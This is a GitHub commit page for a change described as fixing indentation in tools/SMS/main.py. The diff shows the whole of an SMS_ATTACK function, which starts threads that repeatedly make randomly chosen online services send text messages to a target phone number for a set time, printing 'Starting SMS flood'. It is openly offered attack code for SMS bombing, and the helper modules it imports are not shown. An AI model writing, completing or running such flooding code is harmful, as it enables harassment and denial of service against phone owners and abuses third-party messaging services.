Skip to content

Commit 5b0c086

Browse files
committed
fixed indentations and removed bad whitespace
1 parent 6088254 commit 5b0c086

File tree

1 file changed

+34
-34
lines changed

1 file changed

+34
-34
lines changed

tools/SMS/main.py

Lines changed: 34 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -6,41 +6,41 @@
66
import tools.SMS.randomData as randomData
77

88
def SMS_ATTACK(threads, attack_time, phone):
9-
# Finish
10-
global FINISH
11-
FINISH = False
12-
threads_list = []
9+
# Finish
10+
global FINISH
11+
FINISH = False
12+
threads_list = []
1313

14-
# Get services list
15-
services = request.getServices()
16-
# Make for Russian numbers
17-
phone = number.normalize(phone)
18-
# Get country name by phone
19-
country = number.getCountry(phone)
20-
print("[#] Starting SMS flood to number: " + phone + ", country: " + country + ", time: " + str(attack_time) + " secounds..")
14+
# Get services list
15+
services = request.getServices()
16+
# Make for Russian numbers
17+
phone = number.normalize(phone)
18+
# Get country name by phone
19+
country = number.getCountry(phone)
20+
print("[#] Starting SMS flood to number: " + phone + ", country: " + country + ", time: " + str(attack_time) + " secounds..")
2121

22-
# Send SMS
23-
def sms_flood():
24-
while not FINISH:
25-
service = randomData.random_service(services)
26-
service = request.Service(service)
27-
service.sendMessage(phone)
22+
# Send SMS
23+
def sms_flood():
24+
while not FINISH:
25+
service = randomData.random_service(services)
26+
service = request.Service(service)
27+
service.sendMessage(phone)
2828

2929

30-
# Start threads
31-
for thread in range(threads):
32-
print("[#] Staring thread " + str(thread))
33-
t = Thread(target = sms_flood)
34-
t.start()
35-
threads_list.append(t)
36-
# Sleep selected secounds
37-
try:
38-
time.sleep(attack_time)
39-
except KeyboardInterrupt:
40-
FINISH = True
41-
# Terminate threads
42-
for thread in threads_list:
43-
FINISH = True
44-
thread.join()
45-
46-
print("[!] Attack stopped!")
30+
# Start threads
31+
for thread in range(threads):
32+
print("[#] Staring thread " + str(thread))
33+
t = Thread(target=sms_flood)
34+
t.start()
35+
threads_list.append(t)
36+
# Sleep selected secounds
37+
try:
38+
time.sleep(attack_time)
39+
except KeyboardInterrupt:
40+
FINISH = True
41+
# Terminate threads
42+
for thread in threads_list:
43+
FINISH = True
44+
thread.join()
45+
46+
print("[!] Attack stopped!")

0 commit comments

Comments
 (0)